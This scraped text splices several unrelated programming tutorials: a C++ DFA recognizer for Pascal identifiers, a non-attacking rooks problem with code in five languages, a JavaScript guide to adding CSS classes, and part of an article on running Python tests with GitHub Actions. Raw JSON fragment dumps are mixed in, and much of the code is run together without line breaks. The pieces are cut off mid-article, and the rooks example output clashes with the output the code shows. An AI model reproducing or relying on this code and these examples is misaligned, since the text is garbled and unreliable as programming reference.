DFAvoid state1(char c){ if (isalnum(c)) dfa = 1; else dfa = -1;} bool DFA_for_ID(string token){ dfa = 0; int i, len = token.length(); for (i = 0; i < len; i++) { if (dfa == 0) start(token[i]); else if (dfa == 1) state1(token[i]); else return 0; } if (dfa == 1) return 1; else return 0;} // driver codeint main(){ string input = "Geeks for Geeks is 9ice platfo$m for every1 "; // to separate all the tokens by space in the string// and checking for each token stringstream ss(input); string token; while (ss >> token) { bool isValid = DFA_for_ID(token); if (isValid) cout << token << " : " << "Valid" << endl; else cout << token << " : " << "Invalid" << endl; } return 0;} Output: Geeks : Valid for : Valid Geeks : Valid is : Valid 9ice : Invalid platfo$m : Invalid for : Valid every1 : Valid clintra sweetyty Theory of Computation & Automata Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. NPDA for accepting the language L = {an bn | n>=1} Construct Pushdown Automata for all length palindrome NPDA for the language L ={w∈ {a,b}*| w contains equal no. of a's and b's} NPDA for accepting the language L = {wwR | w ∈ (a,b)*} Construct a Turing Machine for language L = {ww | w ∈ {0,1}} Pushdown Automata Acceptance by Final State Halting Problem in Theory of Computation Ambiguity in Context free Grammar and Context free Languages Decidable and Undecidable problems in Theory of Computation Variation of Turing Machine
[ { "code": null, "e": 26105, "s": 26077, "text": "\n29 Jun, 2021" }, { "code": null, "e": 26254, "s": 26105, "text": "Problem – Implement a recognizer for pascal identifiers based on a DFA that accepts strings belonging to the definition of the language of the same." }, { "code": null, "e": 26403, "s": 26254, "text": "Here is a regular definition for the set of Pascal identifiers that are defined as the set of strings of letters and digits beginning with a letter." }, { "code": null, "e": 26512, "s": 26403, "text": "letter : A | B | . . . | Z | a | b | . . . | z\ndigit : 0 | 1 | 2 | . . . | 9\nID : letter (letter | digit)* " }, { "code": null, "e": 26777, "s": 26512, "text": "The regular expression ID is the pattern for the Pascal identifier token and defines letter and digit where a letter is a regular expression for the set of all upper-case and lowercase letters in the alphabet and digit is regular for the set of all decimal digits." }, { "code": null, "e": 26802, "s": 26777, "text": "State diagram of the DFA" }, { "code": null, "e": 26835, "s": 26802, "text": "Working code for the recognizer:" }, { "code": null, "e": 26839, "s": 26835, "text": "C++" }, { "code": "// C++ program to implement DFA based regonizer that accepts// all strings which follow the language// L = { letter (letter | digit)* } #include <bits/stdc++.h>#include <iostream>using namespace std; // dfa tells the number associated// with the present stateint dfa; // This function is for// the starting state (zeroth) of DFAvoid start(char c){ if (isalpha(c)) dfa = 1; else // -1 is used to check for any invalid symbol dfa = -1;} // This function is for the first state of DFAvoid state1(char c){ if (isalnum(c)) dfa = 1; else dfa = -1;} bool DFA_for_ID(string token){ dfa = 0; int i, len = token.length(); for (i = 0; i < len; i++) { if (dfa == 0) start(token[i]); else if (dfa == 1) state1(token[i]); else return 0; } if (dfa == 1) return 1; else return 0;} // driver codeint main(){ string input = \"Geeks for Geeks is 9ice platfo$m for every1 \"; // to separate all the tokens by space in the string// and checking for each token stringstream ss(input); string token; while (ss >> token) { bool isValid = DFA_for_ID(token); if (isValid) cout << token << \" : \" << \"Valid\" << endl; else cout << token << \" : \" << \"Invalid\" << endl; } return 0;}", "e": 28209, "s": 26839, "text": null }, { "code": null, "e": 28218, "s": 28209, "text": "Output: " }, { "code": null, "e": 28330, "s": 28218, "text": "Geeks : Valid\nfor : Valid\nGeeks : Valid\nis : Valid\n9ice : Invalid\nplatfo$m : Invalid\nfor : Valid\nevery1 : Valid" }, { "code": null, "e": 28340, "s": 28332, "text": "clintra" }, { "code": null, "e": 28349, "s": 28340, "text": "sweetyty" }, { "code": null, "e": 28382, "s": 28349, "text": "Theory of Computation & Automata" }, { "code": null, "e": 28480, "s": 28382, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 28531, "s": 28480, "text": "NPDA for accepting the language L = {an bn | n>=1}" }, { "code": null, "e": 28585, "s": 28531, "text": "Construct Pushdown Automata for all length palindrome" }, { "code": null, "e": 28659, "s": 28585, "text": "NPDA for the language L ={w∈ {a,b}*| w contains equal no. of a's and b's}" }, { "code": null, "e": 28714, "s": 28659, "text": "NPDA for accepting the language L = {wwR | w ∈ (a,b)*}" }, { "code": null, "e": 28775, "s": 28714, "text": "Construct a Turing Machine for language L = {ww | w ∈ {0,1}}" }, { "code": null, "e": 28819, "s": 28775, "text": "Pushdown Automata Acceptance by Final State" }, { "code": null, "e": 28860, "s": 28819, "text": "Halting Problem in Theory of Computation" }, { "code": null, "e": 28921, "s": 28860, "text": "Ambiguity in Context free Grammar and Context free Languages" }, { "code": null, "e": 28981, "s": 28921, "text": "Decidable and Undecidable problems in Theory of Computation" } ]
Find position of non-attacking Rooks in lexicographic order that can be placed on N*N chessboard - GeeksforGeeks
07 Mar, 2022 Given an integer N and an array arr[] of positions which denotes the positions of already placed non-attacking rooks, the task is to find the positions of non-attacking rooks in lexicographic order that can be placed on N*N chessboard.Movement of Rooks: Any rook can move horizontally or vertically by any number of unoccupied squares. Examples: Input: N = 4, arr[] = {(1, 4), (2, 2)}Output: 23 14 3Explanation:There can be two more rooks can be placed on the 4*4 Chessboard Input: N = 5, arr[] = {}Output: 51 12 23 34 45 5 Naive Approach: Initialize a 2D Matrix mat[][] of size N*N with 0 at every cell and mark as rooks for initially positions of Rooks by 1. Then traverse through matrix mat[][], checking whether ith row and jth column contains any rook, Keeping a count of rooks placed. If any row contains and column both doesn’t contains any placed rook, then place a rook there and add this cell to your result String. Finally, print count of rooks placed and positions of the rooks placementTime Complexity: O(N3) Space Complexity: O(N2) Efficient Approach: The idea is to create two arrays of N size each, to store whether ith row or ith column contains any rook or not and it will now become efficient to search whether this row and the corresponding column already contains Rook or not. Time Complexity: O(N2) Space Complexity: O(N) Most Efficient Approach: The key observation in the problem is that the maximum rook that can be placed is N-K. That is, Two rooks attack each other if they’re on the same row or on the same column. Since no two of the given rooks attack each other, all of the rows given in the input are unique. Similarly, all of the columns given in the input are unique. So, we’re left with N-K unused rows and N-K unused columns to put the new rooks on. In other words, if we try to put more than N-K rooks by Pigeonhole Principle, if there are N+1 pigeons and N places to fill, then at least one place contains more than 1 pigeon.And to find the lexicographically minimum answer. This answer can be achieved by pairing the smallest unused row with the smallest unused column, the second smallest unused row with the second smallest unused column and so on. Time Complexity: O(N) Below is the implementation of the above approach: C++ Java Python3 C# Javascript // C++ implementation to find// count of placing non-attacking// rooks on the N x N chessboard#include <bits/stdc++.h>using namespace std; // Function to find the count of// placing non-attacking rooks// on the N x N chessboardvoid findCountRooks(int row[], int col[], int n, int k){ // Count of the Non-attacking rooks int res = n - k; cout << res << "\n"; int ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } cout << (ri + 1) << " " << (ci + 1) << "\n"; ri++; ci++; }} // Driver Codeint main(){ int n = 4; int k = 2; int row[] = { 1, 2 }; int col[] = { 4, 2 }; // Function call findCountRooks(row, col, n, k); return 0;} // This code is contributed by jana_sayantan // Java implementation to find// count of placing non-attacking// rooks on the N x N chessboard import java.util.Scanner; public class P2Placerooks { // Function to find the count of // placing non-attacking rooks // on the N x N chessboard static void findCountRooks( int row[], int col[], int n, int k) { // Count of the Non-attacking rooks int res = n - k; System.out.println(res + " "); int ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } System.out.println((ri + 1) + " " + (ci + 1) + " "); ri++; ci++; } } // Driver Code public static void main(String[] args) { int n = 4; int k = 2; int row[] = { 1, 2 }; int col[] = { 4, 2 }; // Function Call findCountRooks(row, col, n, k); }} # Python3 implementation to find# count of placing non-attacking# rooks on the N x N chessboard # Function to find the count of# placing non-attacking rooks# on the N x N chessboarddef findCountRooks(row, col, n, k): # Count of the Non-attacking rooks res = n - k print(res) ri = 0 ci = 0 while (res > 0): # Printing lexicographically # smallest configuration while (ri < k and row[ri] == 1): ri += 1 while (ci < k and col[ci] == 1): ci += 1 print((ri + 1), "", (ci + 1)) ri += 1 ci += 1 res -= 1 # Driver Coden = 4k = 2 row = [ 1, 2 ]col = [ 4, 2 ] # Function callfindCountRooks(row, col, n, k) # This code is contributed by sanjoy_62 // C# implementation to find// count of placing non-attacking// rooks on the N x N chessboardusing System; class P2Placerooks{ // Function to find the count of// placing non-attacking rooks// on the N x N chessboardstatic void findCountRooks(int []row, int []col, int n, int k){ // Count of the Non-attacking rooks int res = n - k; Console.WriteLine(res + " "); int ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } Console.WriteLine((ri + 1) + " " + (ci + 1) + " "); ri++; ci++; }} // Driver Codepublic static void Main(String[] args){ int n = 4; int k = 2; int []row = { 1, 2 }; int []col = { 4, 2 }; // Function call findCountRooks(row, col, n, k);}} // This code is contributed by Rajput-Ji <script> // JavaScript implementation to find// count of placing non-attacking// rooks on the N x N chessboard // Function to find the count of// placing non-attacking rooks// on the N x N chessboardfunction findCountRooks(row,col,n,k){ // Count of the Non-attacking rooks let res = n - k; document.write(res + "<br>"); let ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } document.write((ri + 1) + " " + (ci + 1) + "<br>"); ri++; ci++; }} // Driver Code let n = 4; let k = 2; let row = [ 1, 2 ]; let col = [ 4, 2 ]; // Function call findCountRooks(row, col, n, k); </script> 2 2 1 3 2 Performance Analysis: Time Complexity: O(N) Auxiliary Space: O(1) Rajput-Ji jana_sayantan sanjoy_62 vaibhavrabadiya117 kalrap615 simranarora5sos chessboard-problems lexicographic-ordering Analysis Arrays Data Structures Matrix Data Structures Arrays Matrix Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Time Complexity and Space Complexity Complexity of different operations in Binary tree, Binary Search Tree and AVL tree Time Complexity of building a heap Analysis of Algorithms | Big-O analysis Difference between NP hard and NP complete problem Arrays in Java Arrays in C/C++ Maximum and minimum of an array using minimum number of comparisons Write a program to reverse an array or string Program for array rotation
[ { "code": null, "e": 26865, "s": 26837, "text": "\n07 Mar, 2022" }, { "code": null, "e": 27201, "s": 26865, "text": "Given an integer N and an array arr[] of positions which denotes the positions of already placed non-attacking rooks, the task is to find the positions of non-attacking rooks in lexicographic order that can be placed on N*N chessboard.Movement of Rooks: Any rook can move horizontally or vertically by any number of unoccupied squares." }, { "code": null, "e": 27212, "s": 27201, "text": "Examples: " }, { "code": null, "e": 27342, "s": 27212, "text": "Input: N = 4, arr[] = {(1, 4), (2, 2)}Output: 23 14 3Explanation:There can be two more rooks can be placed on the 4*4 Chessboard " }, { "code": null, "e": 27391, "s": 27342, "text": "Input: N = 5, arr[] = {}Output: 51 12 23 34 45 5" }, { "code": null, "e": 28215, "s": 27391, "text": "Naive Approach: Initialize a 2D Matrix mat[][] of size N*N with 0 at every cell and mark as rooks for initially positions of Rooks by 1. Then traverse through matrix mat[][], checking whether ith row and jth column contains any rook, Keeping a count of rooks placed. If any row contains and column both doesn’t contains any placed rook, then place a rook there and add this cell to your result String. Finally, print count of rooks placed and positions of the rooks placementTime Complexity: O(N3) Space Complexity: O(N2) Efficient Approach: The idea is to create two arrays of N size each, to store whether ith row or ith column contains any rook or not and it will now become efficient to search whether this row and the corresponding column already contains Rook or not. Time Complexity: O(N2) Space Complexity: O(N) " }, { "code": null, "e": 29085, "s": 28215, "text": "Most Efficient Approach: The key observation in the problem is that the maximum rook that can be placed is N-K. That is, Two rooks attack each other if they’re on the same row or on the same column. Since no two of the given rooks attack each other, all of the rows given in the input are unique. Similarly, all of the columns given in the input are unique. So, we’re left with N-K unused rows and N-K unused columns to put the new rooks on. In other words, if we try to put more than N-K rooks by Pigeonhole Principle, if there are N+1 pigeons and N places to fill, then at least one place contains more than 1 pigeon.And to find the lexicographically minimum answer. This answer can be achieved by pairing the smallest unused row with the smallest unused column, the second smallest unused row with the second smallest unused column and so on. Time Complexity: O(N)" }, { "code": null, "e": 29136, "s": 29085, "text": "Below is the implementation of the above approach:" }, { "code": null, "e": 29140, "s": 29136, "text": "C++" }, { "code": null, "e": 29145, "s": 29140, "text": "Java" }, { "code": null, "e": 29153, "s": 29145, "text": "Python3" }, { "code": null, "e": 29156, "s": 29153, "text": "C#" }, { "code": null, "e": 29167, "s": 29156, "text": "Javascript" }, { "code": "// C++ implementation to find// count of placing non-attacking// rooks on the N x N chessboard#include <bits/stdc++.h>using namespace std; // Function to find the count of// placing non-attacking rooks// on the N x N chessboardvoid findCountRooks(int row[], int col[], int n, int k){ // Count of the Non-attacking rooks int res = n - k; cout << res << \"\\n\"; int ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } cout << (ri + 1) << \" \" << (ci + 1) << \"\\n\"; ri++; ci++; }} // Driver Codeint main(){ int n = 4; int k = 2; int row[] = { 1, 2 }; int col[] = { 4, 2 }; // Function call findCountRooks(row, col, n, k); return 0;} // This code is contributed by jana_sayantan", "e": 30167, "s": 29167, "text": null }, { "code": "// Java implementation to find// count of placing non-attacking// rooks on the N x N chessboard import java.util.Scanner; public class P2Placerooks { // Function to find the count of // placing non-attacking rooks // on the N x N chessboard static void findCountRooks( int row[], int col[], int n, int k) { // Count of the Non-attacking rooks int res = n - k; System.out.println(res + \" \"); int ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } System.out.println((ri + 1) + \" \" + (ci + 1) + \" \"); ri++; ci++; } } // Driver Code public static void main(String[] args) { int n = 4; int k = 2; int row[] = { 1, 2 }; int col[] = { 4, 2 }; // Function Call findCountRooks(row, col, n, k); }}", "e": 31293, "s": 30167, "text": null }, { "code": "# Python3 implementation to find# count of placing non-attacking# rooks on the N x N chessboard # Function to find the count of# placing non-attacking rooks# on the N x N chessboarddef findCountRooks(row, col, n, k): # Count of the Non-attacking rooks res = n - k print(res) ri = 0 ci = 0 while (res > 0): # Printing lexicographically # smallest configuration while (ri < k and row[ri] == 1): ri += 1 while (ci < k and col[ci] == 1): ci += 1 print((ri + 1), \"\", (ci + 1)) ri += 1 ci += 1 res -= 1 # Driver Coden = 4k = 2 row = [ 1, 2 ]col = [ 4, 2 ] # Function callfindCountRooks(row, col, n, k) # This code is contributed by sanjoy_62", "e": 32080, "s": 31293, "text": null }, { "code": "// C# implementation to find// count of placing non-attacking// rooks on the N x N chessboardusing System; class P2Placerooks{ // Function to find the count of// placing non-attacking rooks// on the N x N chessboardstatic void findCountRooks(int []row, int []col, int n, int k){ // Count of the Non-attacking rooks int res = n - k; Console.WriteLine(res + \" \"); int ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } Console.WriteLine((ri + 1) + \" \" + (ci + 1) + \" \"); ri++; ci++; }} // Driver Codepublic static void Main(String[] args){ int n = 4; int k = 2; int []row = { 1, 2 }; int []col = { 4, 2 }; // Function call findCountRooks(row, col, n, k);}} // This code is contributed by Rajput-Ji", "e": 33138, "s": 32080, "text": null }, { "code": "<script> // JavaScript implementation to find// count of placing non-attacking// rooks on the N x N chessboard // Function to find the count of// placing non-attacking rooks// on the N x N chessboardfunction findCountRooks(row,col,n,k){ // Count of the Non-attacking rooks let res = n - k; document.write(res + \"<br>\"); let ri = 0, ci = 0; while (res-- > 0) { // Printing lexicographically // smallest configuration while (ri < k && row[ri] == 1) { ri++; } while (ci < k && col[ci] == 1) { ci++; } document.write((ri + 1) + \" \" + (ci + 1) + \"<br>\"); ri++; ci++; }} // Driver Code let n = 4; let k = 2; let row = [ 1, 2 ]; let col = [ 4, 2 ]; // Function call findCountRooks(row, col, n, k); </script>", "e": 34028, "s": 33138, "text": null }, { "code": null, "e": 34040, "s": 34028, "text": "2 \n2 1 \n3 2" }, { "code": null, "e": 34062, "s": 34040, "text": "Performance Analysis:" }, { "code": null, "e": 34084, "s": 34062, "text": "Time Complexity: O(N)" }, { "code": null, "e": 34106, "s": 34084, "text": "Auxiliary Space: O(1)" }, { "code": null, "e": 34116, "s": 34106, "text": "Rajput-Ji" }, { "code": null, "e": 34130, "s": 34116, "text": "jana_sayantan" }, { "code": null, "e": 34140, "s": 34130, "text": "sanjoy_62" }, { "code": null, "e": 34159, "s": 34140, "text": "vaibhavrabadiya117" }, { "code": null, "e": 34169, "s": 34159, "text": "kalrap615" }, { "code": null, "e": 34185, "s": 34169, "text": "simranarora5sos" }, { "code": null, "e": 34205, "s": 34185, "text": "chessboard-problems" }, { "code": null, "e": 34228, "s": 34205, "text": "lexicographic-ordering" }, { "code": null, "e": 34237, "s": 34228, "text": "Analysis" }, { "code": null, "e": 34244, "s": 34237, "text": "Arrays" }, { "code": null, "e": 34260, "s": 34244, "text": "Data Structures" }, { "code": null, "e": 34267, "s": 34260, "text": "Matrix" }, { "code": null, "e": 34283, "s": 34267, "text": "Data Structures" }, { "code": null, "e": 34290, "s": 34283, "text": "Arrays" }, { "code": null, "e": 34297, "s": 34290, "text": "Matrix" }, { "code": null, "e": 34395, "s": 34297, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 34432, "s": 34395, "text": "Time Complexity and Space Complexity" }, { "code": null, "e": 34515, "s": 34432, "text": "Complexity of different operations in Binary tree, Binary Search Tree and AVL tree" }, { "code": null, "e": 34550, "s": 34515, "text": "Time Complexity of building a heap" }, { "code": null, "e": 34590, "s": 34550, "text": "Analysis of Algorithms | Big-O analysis" }, { "code": null, "e": 34641, "s": 34590, "text": "Difference between NP hard and NP complete problem" }, { "code": null, "e": 34656, "s": 34641, "text": "Arrays in Java" }, { "code": null, "e": 34672, "s": 34656, "text": "Arrays in C/C++" }, { "code": null, "e": 34740, "s": 34672, "text": "Maximum and minimum of an array using minimum number of comparisons" }, { "code": null, "e": 34786, "s": 34740, "text": "Write a program to reverse an array or string" } ]
How to dynamically create and apply CSS class in JavaScript ? - GeeksforGeeks
06 Oct, 2021 In this article, we will see how to dynamically create a CSS class and apply to the element dynamically using JavaScript. To do that, first we create a class and assign it to HTML elements on which we want to apply CSS property. We can use className and classList property in JavaScript. Approach: The className property used to add a class in JavaScript. It overwrites existing classes of the selected elements. If we don’t want to overwrite then we have to add a space before the class name. // It overwrites existing classes var h2 = document.querySelector("h2"); h2.className = "test"; // Add new class to existing classes // Note space before new class name h2.className = " test"; The classList property also used to add a class in JavaScript but it never overwrites existing classes and adds a new class to the selected elements class list. // Add new class to existing classes var p = document.querySelector("p"); p.classList.add("test"); After adding new classes to the elements, we select the new class(test) and then apply CSS properties to it, with the help of style property in JavaScript. // Select all elements with class test var temp = document.querySelectorAll(".test"); // Apply CSS property to it for (var i = 0; i < temp.length; i++) { temp[i].style.color = "white"; temp[i].style.backgroundColor = "black"; } Below is the implementation of this: Example: HTML <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"></head> <body> <h2 class="hello"> Welcome to gfg </h2> <p id="hi">Hi it's me.</p> <button onclick="apply()"> Apply css dynamically </button> <script> function apply() { // It overwrites existing classes var h2 = document.querySelector("h2"); h2.className = "test"; // Add new class to existing classes var p = document.querySelector("p"); p.classList.add("test"); // Select all elements with class test var temp = document.querySelectorAll(".test"); // Apply CSS property to it for (var i = 0; i < temp.length; i++) { temp[i].style.color = "green"; temp[i].style.fontSize = "40px"; } } </script></body> </html> Output: Before Clicking the Button: After Clicking the Button: surinderdawra388 surindertarika1234 kashishsoda CSS-Misc HTML-Misc JavaScript-Misc Picked CSS HTML JavaScript Web Technologies Web technologies Questions HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to set space between the flexbox ? Design a web page using HTML and CSS Form validation using jQuery How to style a checkbox using CSS? Search Bar using HTML, CSS and JavaScript How to set the default value for an HTML <select> element ? Hide or show elements in HTML using display property How to set input type date in dd-mm-yyyy format using HTML ? REST API (Introduction) How to Insert Form Data into Database using PHP ?
[ { "code": null, "e": 26621, "s": 26593, "text": "\n06 Oct, 2021" }, { "code": null, "e": 26909, "s": 26621, "text": "In this article, we will see how to dynamically create a CSS class and apply to the element dynamically using JavaScript. To do that, first we create a class and assign it to HTML elements on which we want to apply CSS property. We can use className and classList property in JavaScript." }, { "code": null, "e": 26919, "s": 26909, "text": "Approach:" }, { "code": null, "e": 27115, "s": 26919, "text": "The className property used to add a class in JavaScript. It overwrites existing classes of the selected elements. If we don’t want to overwrite then we have to add a space before the class name." }, { "code": null, "e": 27312, "s": 27115, "text": "// It overwrites existing classes \n\nvar h2 = document.querySelector(\"h2\");\nh2.className = \"test\";\n\n// Add new class to existing classes\n// Note space before new class name\n\nh2.className = \" test\";" }, { "code": null, "e": 27473, "s": 27312, "text": "The classList property also used to add a class in JavaScript but it never overwrites existing classes and adds a new class to the selected elements class list." }, { "code": null, "e": 27573, "s": 27473, "text": "// Add new class to existing classes\n\nvar p = document.querySelector(\"p\");\np.classList.add(\"test\");" }, { "code": null, "e": 27729, "s": 27573, "text": "After adding new classes to the elements, we select the new class(test) and then apply CSS properties to it, with the help of style property in JavaScript." }, { "code": null, "e": 27964, "s": 27729, "text": "// Select all elements with class test \n\nvar temp = document.querySelectorAll(\".test\");\n\n// Apply CSS property to it\nfor (var i = 0; i < temp.length; i++) {\n temp[i].style.color = \"white\";\n temp[i].style.backgroundColor = \"black\";\n}" }, { "code": null, "e": 28001, "s": 27964, "text": "Below is the implementation of this:" }, { "code": null, "e": 28010, "s": 28001, "text": "Example:" }, { "code": null, "e": 28015, "s": 28010, "text": "HTML" }, { "code": "<!DOCTYPE html><html lang=\"en\"> <head> <meta charset=\"UTF-8\"></head> <body> <h2 class=\"hello\"> Welcome to gfg </h2> <p id=\"hi\">Hi it's me.</p> <button onclick=\"apply()\"> Apply css dynamically </button> <script> function apply() { // It overwrites existing classes var h2 = document.querySelector(\"h2\"); h2.className = \"test\"; // Add new class to existing classes var p = document.querySelector(\"p\"); p.classList.add(\"test\"); // Select all elements with class test var temp = document.querySelectorAll(\".test\"); // Apply CSS property to it for (var i = 0; i < temp.length; i++) { temp[i].style.color = \"green\"; temp[i].style.fontSize = \"40px\"; } } </script></body> </html>", "e": 28894, "s": 28015, "text": null }, { "code": null, "e": 28902, "s": 28894, "text": "Output:" }, { "code": null, "e": 28930, "s": 28902, "text": "Before Clicking the Button:" }, { "code": null, "e": 28958, "s": 28930, "text": "After Clicking the Button: " }, { "code": null, "e": 28977, "s": 28960, "text": "surinderdawra388" }, { "code": null, "e": 28996, "s": 28977, "text": "surindertarika1234" }, { "code": null, "e": 29008, "s": 28996, "text": "kashishsoda" }, { "code": null, "e": 29017, "s": 29008, "text": "CSS-Misc" }, { "code": null, "e": 29027, "s": 29017, "text": "HTML-Misc" }, { "code": null, "e": 29043, "s": 29027, "text": "JavaScript-Misc" }, { "code": null, "e": 29050, "s": 29043, "text": "Picked" }, { "code": null, "e": 29054, "s": 29050, "text": "CSS" }, { "code": null, "e": 29059, "s": 29054, "text": "HTML" }, { "code": null, "e": 29070, "s": 29059, "text": "JavaScript" }, { "code": null, "e": 29087, "s": 29070, "text": "Web Technologies" }, { "code": null, "e": 29114, "s": 29087, "text": "Web technologies Questions" }, { "code": null, "e": 29119, "s": 29114, "text": "HTML" }, { "code": null, "e": 29217, "s": 29119, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29256, "s": 29217, "text": "How to set space between the flexbox ?" }, { "code": null, "e": 29293, "s": 29256, "text": "Design a web page using HTML and CSS" }, { "code": null, "e": 29322, "s": 29293, "text": "Form validation using jQuery" }, { "code": null, "e": 29357, "s": 29322, "text": "How to style a checkbox using CSS?" }, { "code": null, "e": 29399, "s": 29357, "text": "Search Bar using HTML, CSS and JavaScript" }, { "code": null, "e": 29459, "s": 29399, "text": "How to set the default value for an HTML <select> element ?" }, { "code": null, "e": 29512, "s": 29459, "text": "Hide or show elements in HTML using display property" }, { "code": null, "e": 29573, "s": 29512, "text": "How to set input type date in dd-mm-yyyy format using HTML ?" }, { "code": null, "e": 29597, "s": 29573, "text": "REST API (Introduction)" } ]
Run Python Tests on Every Commit Using GitHub Actions. | Towards Data Science
It’s easy to avoid bugs than fix them. Testing is a critical component of every software project. Among several different types of software testing, some need to run at the time of every commit. For instance, developers should run unit tests to ensure their new change doesn’t contradict any previous ones. Yet, it is a burden to do it manually every time. It’s a dull, repetitive, but unavoidable task. It’s fun writing unit tests but not running them on every commit. Most dev teams use their continuous integration (CI) pipeline to trigger them. Thus, the developer doesn’t have to worry about not running them. Github Actions are one (and perhaps very popular) such options available to do this. In this post, I’ll walk you through the steps I follow to automate Python tests with Github Actions. towardsdatascience.com GitHub Actions has a pre-defined set of workflows you can plug and play. You could find one for popular frameworks such as Django too. I recommend starting with one of them unless your project structure is unique. You can get there by clicking on the Actions tab on your GitHub repository page. For this post, I will use the following example Python program and test. We can run the above code in our local computer withpytest app.py where app.py is the module’s name. Running it will result in an error that looks like the below. Now, let’s take this test to run on GitHub Actions. Do the following to make the project a git repository and push it to GitHub. # Create a requirement file to install dependencies whenever GitHub Actions runs the tests.pip freeze > requirement.txtgit initgit add .git commit -m 'initial commit'# Create a remote repository in github.com and do the following.git remote add origin <Your Repository>git branch -M maingit push -u origin main Your remote repository will contain two files; the requirement.txt and the app.py. Go to the Actions tab and select Python application. This will open a new file called python-app.yml in the .github/workflow folder. This is where you can configure events, actions, etc., and their sequence. The default file is pre-configured to run a set of actions whenever we push changes to the main branch or make a pull request. It runs on an Ubuntu container with Python 3.10. After installing the dependencies from the requirement.txt file, it executes the pytest shell command. Please change the last line from pytestto pytest app.py and click on the start commit button on the top right corner. As we’ve configured it to run on every push, you don’t have to trigger any action manually. If you go to the Actions tab now, you can see the new workflow we’ve created already started to perform the tests. As expected, it’ll fail at first. Click on the new workflow run, and you can see why it failed. It’s the same error we had when running it locally. GitHub also sends you an email whenever new changes fail to pass tests. If you’re following this guide, do check your inbox associated with your GitHub account. Let’s try editing it locally and push the code that passes all the tests. Change the value in the assertion to 55 from 54, as shown below. Now commit and push these changes to the remote repository. On the Actions tab, you can see a new workflow run is running now. This time you can also check all our tests passing without any errors. Most python projects contain environment variables. These are specific variables unique to every deployment. This file usually doesn’t go to the remote repository. towardsdatascience.com For example, you may define the port to start your Python-based web application in a .env file. But committing this to a remote repository is not needed as other users may use a different port. To specify an environment variable for a GitHub workflow, we must edit the YAML file again. After setting the OS to look like the following, let’s add a couple of new lines. Let’s update our code to read the input variable from the environment file instead. It should look like this. Let’s commit and see if the test passes on the GitHub Actions workflow. git commit -am "Read inputs from env variables"git push If you navigate the GitHub Action ad the respective workflow run, you can now see the test passing. It may be a little too much to perform a full round of testing every time someone commits a change to the repository. We may want to narrow it down to a single branch or so. We can do this and many other customizations through the YAML file. Here in the below example, we’re configuring to run the tests on every push to the dev branch and every pull request to the main branch. It’s a practice most developers follow too. To learn more about different ways you can customize triggers, please consult GitHub Actions’ documentation. It’s also very common to run tests on a schedule. It may be the only practice for some teams. Others may prefer to do it in parallel to tests on every push. We can schedule workflows to run on specific rutine in Github Actions. If you are familiar with corn jobs, you can apply the same here in the YAML file. Here’s an example that runs our tests every Sunday at midnight. CI pipelines are a revolutionary step in DevOps. Performing tests in a CI pipeline avoided the chances of introducing bugs into the system. We can use GitHub Actions as a perfect CI workflow. Here in this post, we’ve discussed how to use it to perform Python tests before pushing any changes to the repository. We’ve also discussed how to schedule workflows in cronjobs and customize the event triggers. We may have to be very specific about when we are running or workflows. Because running comes with its costs. GitHub Actions for basic use is free up to 2000 minutes of system time. It applies even if yours is a private repository. But beyond this limit, you need one of their paid plans. However, if the repository is a public one or if you use your private runner, it’s completely free. Thanks for reading, friend! Say Hi to me on LinkedIn, Twitter, and Medium. Not a Medium member yet? Please use this link to become a member because, at no extra cost for you, I earn a small commission for referring you.
[ { "code": null, "e": 205, "s": 166, "text": "It’s easy to avoid bugs than fix them." }, { "code": null, "e": 473, "s": 205, "text": "Testing is a critical component of every software project. Among several different types of software testing, some need to run at the time of every commit. For instance, developers should run unit tests to ensure their new change doesn’t contradict any previous ones." }, { "code": null, "e": 636, "s": 473, "text": "Yet, it is a burden to do it manually every time. It’s a dull, repetitive, but unavoidable task. It’s fun writing unit tests but not running them on every commit." }, { "code": null, "e": 866, "s": 636, "text": "Most dev teams use their continuous integration (CI) pipeline to trigger them. Thus, the developer doesn’t have to worry about not running them. Github Actions are one (and perhaps very popular) such options available to do this." }, { "code": null, "e": 967, "s": 866, "text": "In this post, I’ll walk you through the steps I follow to automate Python tests with Github Actions." }, { "code": null, "e": 990, "s": 967, "text": "towardsdatascience.com" }, { "code": null, "e": 1204, "s": 990, "text": "GitHub Actions has a pre-defined set of workflows you can plug and play. You could find one for popular frameworks such as Django too. I recommend starting with one of them unless your project structure is unique." }, { "code": null, "e": 1285, "s": 1204, "text": "You can get there by clicking on the Actions tab on your GitHub repository page." }, { "code": null, "e": 1358, "s": 1285, "text": "For this post, I will use the following example Python program and test." }, { "code": null, "e": 1521, "s": 1358, "text": "We can run the above code in our local computer withpytest app.py where app.py is the module’s name. Running it will result in an error that looks like the below." }, { "code": null, "e": 1650, "s": 1521, "text": "Now, let’s take this test to run on GitHub Actions. Do the following to make the project a git repository and push it to GitHub." }, { "code": null, "e": 1961, "s": 1650, "text": "# Create a requirement file to install dependencies whenever GitHub Actions runs the tests.pip freeze > requirement.txtgit initgit add .git commit -m 